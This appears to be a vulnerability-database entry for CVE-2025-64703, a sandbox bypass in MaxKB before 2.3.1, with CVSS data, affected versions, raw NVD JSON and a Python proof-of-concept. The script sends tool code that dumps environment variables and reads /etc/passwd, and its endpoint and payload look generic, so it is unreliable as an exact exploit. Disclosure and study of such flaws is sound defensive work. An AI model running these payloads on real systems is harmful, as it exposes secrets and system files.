Security Vulnerability Report
中文
CVE-2025-64703 CVSS 6.3 MEDIUM

CVE-2025-64703

Published: 2025-11-13 16:15:57
Last Modified: 2025-12-04 14:55:30

Description

MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can get sensitive informations by Python code in tool module, although the process run in sandbox. Version 2.3.1 fixes the issue.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:* - VULNERABLE
MaxKB < 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64703 PoC - MaxKB Sandbox Bypass # Target: MaxKB < 2.3.1 import requests import json TARGET_URL = "http://target-server/api/tool/execute" API_KEY = "your-api-key-here" def exploit_sandbox_bypass(): """ Exploit for MaxKB sandbox bypass vulnerability Allows reading sensitive information from the system """ # Payload to read environment variables payload = { "code": "import os; print(os.environ)", "tool_name": "sensitive_reader" } headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Alternative payload for reading /etc/passwd alt_payload = { "code": "open('/etc/passwd').read()", "tool_name": "file_reader" } response2 = requests.post(TARGET_URL, json=alt_payload, headers=headers, timeout=10) print(f"\nFile Read Response: {response2.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2025-64703 MaxKB Sandbox Bypass PoC") print("=" * 50) exploit_sandbox_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64703", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.623", "lastModified": "2025-12-04T14:55:30.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can get sensitive informations by Python code in tool module, although the process run in sandbox. Version 2.3.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.3.1", "matchCriteriaId": "AA83A5E9-B7E7-44CF-BBF2-E8CE07A734A2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-qwvm-x4xh-g2qq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}